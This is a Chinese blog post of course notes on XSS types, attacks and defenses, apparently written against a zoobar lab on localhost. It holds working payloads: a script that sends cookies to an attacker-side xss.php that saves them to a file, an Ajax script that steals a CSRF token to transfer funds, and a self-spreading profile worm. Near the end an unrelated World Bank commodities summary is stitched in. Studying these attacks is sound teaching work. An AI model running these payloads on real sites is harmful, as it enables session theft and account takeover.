Web安全之XSS

本文详细介绍了XSS攻击的类型,包括反射型、存储型和DOM XSS,并探讨了XSS攻击如何窃取cookie和利用Ajax。此外,讨论了Ajax在跨域时的cookie处理以及XSS防御策略,如过滤和转义字符。最后提到了面试中可能遇到的相关问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一.什么是XSS

1.XSS攻击即为(Cross Site Scripting), 中文为跨站脚本(但实际上并不是所有的XSS都需要跨站)。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

2.XSS类型:
(1)反射型XSS(非持久型XSS):发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器解析后响应,在响应内容中出现这段XSS代码。最后浏览器解析执行。(例如:http://www.foo.com/xss/a1.php?x=<script>alert(1)</script>
(2)存储型XSS(持久型XSS):提交的XSS会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。(例如:留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JS解析执行,于是就出发了XSS攻击。)
(3)DOM XSS:此时并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器的DOM解析。可以认为完全是客户端的事情。(例如:http://www.foo.com/xssme/html#alert(1) #后面的内容是不会发送到服务端的,仅仅是在客户端被接收并解析执行。)

二.XSS攻击

(一)窃取cookie,提交表单

一些内容说明: 利用img这个标签进行向外数据的发送, js里要得到html中的元素,可以通过document里的函数获得。

在可以注入的页面写入这个:

<script>(new Image()).src="http://localhost/xss.php?cookie="+document.cookie</script>

在这里插入图片描述

之后构造一个xss.php页面:

<?php 
/*echo $_GET["cookie"];*/
$myfile =fopen("test.txt","w");
fwrite($myfile,$_REQUEST["cookie"]); 
fclose($myfile);
?>

在这里插入图片描述

访问写入攻击的用户,获得cookie成功。

(二)Ajax

AJAX = 异步 JavaScript 和 XML。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
我们也能看出Ajax的使用特点。主要是包括三部分,第一,生成XMLHTTPRequest对象;第二,发出请求;第三,处理请求返回的结果。

1.利用ajax进行攻击的表单提交

<script>
var a=new XMLHttpRequest();
var t,context;
a.onreadystatechange=function()
{
if(a.readyState==4)
{
context=(a.responseText);
alert(context.substr(context.indexOf("hidden")+28,32));
t=context.substr(context.indexOf("hidden")+28,32);
}
};
a.open("open","transfer.php",false);
a.send();

var b=new XMLHttpRequest();
b.open("post","http://localhost/transfer.php",false);
b.setRequestHeader("Content-type","application/x-www-form-urlencoded");
w="zoobars=1&recipient=ajax&submission=Send&token="+t
b.send(w);
</script>

注意此时已经了csrf的token防护,所以需要先将其中的token值读出,写入提交的表单中。

注意: indexOf()
方法是返回某个指定的字符串值在字符串中首次出现的位置。切记是首次出现的位置。indexOf(“string”,0)这个方法有两个参数,分别是要检索的字符串以及将从指定的位置开始检索。

注意:1、如果要检索的字符串值没有出现,则该方法返回 -1。

2、indexOf() 方法对大小写敏感!

2.蠕虫实现:
访问者访问后自己丢失zoobars然后同时自己变成攻击者,会进行感染。

<span id=balance>
<script>
var req_w=new XMLHttpRequest();
req_w.open("post","index.php",false);
var AA=document.getElementById("balance");
var AB="<span id=balance>"+AA.innerHTML+"</span>";
var para_w = new FormData();
para_w.append("profile_update", AB);
para_w.append("profile_submit", "Save");
req_w.send(para_w);

var a=new XMLHttpRequest();
var t,context;
a.onreadystatechange=function()
{
if(a.readyState==4)
{
context=(a.responseText);
alert(context.substr(context.indexOf("hidden")+28,32));
t=context.substr(context.indexOf("hidden")+28,32);
}
};
a.open("open","transfer.php",false);
a.send();

var b=new XMLHttpRequest();
b.open("post","http://localhost/transfer.php",false);
b.setRequestHeader("Content-type","application/x-www-form-urlencoded");
w="zoobars=1&recipient=ajax&submission=Send&token="+t
b.send(w);


</script></span>

三.XML

以前没有接触过XML,这里就简单介绍一下,当作了解。
参考链接:https://www.runoob.com/xml/xml-intro.html
在这里插入图片描述

在这里插入图片描述

三.一些课上提出的重点问题

1.Ajax中的open函数:
open(method,url,async)规定请求的类型、URL 以及是否异步处理请求。
-method:请求的类型;GET 或 POST
-url:文件在服务器上的位置
-async:true(异步)或 false(同步)

这里要注意最后的同步异步,有时候网页加载要求必须在同步下才能成功,比如在open网页后执行才能获取token值。

另外:
在这里插入图片描述

在这里插入图片描述

2.Ajax
Ajax在跨域时不会主动带上cookie。
我们再来实现一遍用Ajax来实现csrf攻击:

此时看到攻击并不成功,会有CORS规则
在这里插入图片描述

在服务器的页面中写入

header("Access-Control-Allow-Origin:*");

此时不会再有拦截:
在这里插入图片描述

(注意一个点:现在,对于跨域请求,不成功不是体现在server没有收到请求,而是发送方确实能收到回复,但是请求方client不能处理(读取和操作)这个回复。)

?????这个还需要再问,还是有问题。
1.无法利用ajax实现攻击。

3.httponly
是仅能被http协议本身使用的
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性

四.XSS防御

1.过滤:设置白名单和黑名单
如这个练习网站中所设置的:
在这里插入图片描述

2.构造转义字符:
输入一下方法:

$profile=htmlspecialchars($profile);

在这里插入图片描述

之后再次构造攻击,发现并不成功:
在这里插入图片描述

五.面试常问问题

内容概要:2025年大宗商品市场展望报告由世界银行发布,分析了能源、农业、金属和矿物、贵金属以及化肥等多个主要商品类别的市场发展前景。报告指出,由于全球经济增长放缓和贸易紧张加剧,2025年大宗商品价格预计总体下降12%,2026年进一步下降5%,达到六年来的最低点。油价预计2025年平均为每桶64美元,2026年降至60美元,主要受全球石油消费放缓和供应增加的影响。农业商品价格预计2025年基本稳定,2026年下降3%,其中粮食和原材料价格分别下降7%和2%,但饮料价格上涨20%。金属价格预计2025年下降10%,2026年再降3%,特别是铜和铝价格将显著下跌。贵金属如黄金和白银因避险需求强劲,预计价格将继续上涨。报告还特别关注了疫情后大宗商品周期的变化,指出周期变得更短、更剧烈,主要受到宏观经济冲击、极端天气事件和地缘政治冲突的影响。 适用人群:对全球经济趋势、大宗商品市场动态及其对不同经济体影响感兴趣的政策制定者、投资者、分析师及研究机构。 使用场景及目标:①帮助政策制定者评估全球经济增长放缓对大宗商品市场的影响,从而调整经济政策;②为投资者提供有关未来大宗商品价格走势的风险提示,以便进行投资决策;③协助分析师和研究机构深入理解疫情后大宗商品市场的周期特征,识别潜在的投资机会和风险。 其他说明:报告强调,全球经济增长放缓、贸易紧张加剧以及地缘政治不确定性是影响大宗商品价格的主要因素。此外,极端天气事件和能源转型也对农业和能源商品市场产生了深远影响。报告呼吁各方关注这些结构性变化,并采取相应的风险管理措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值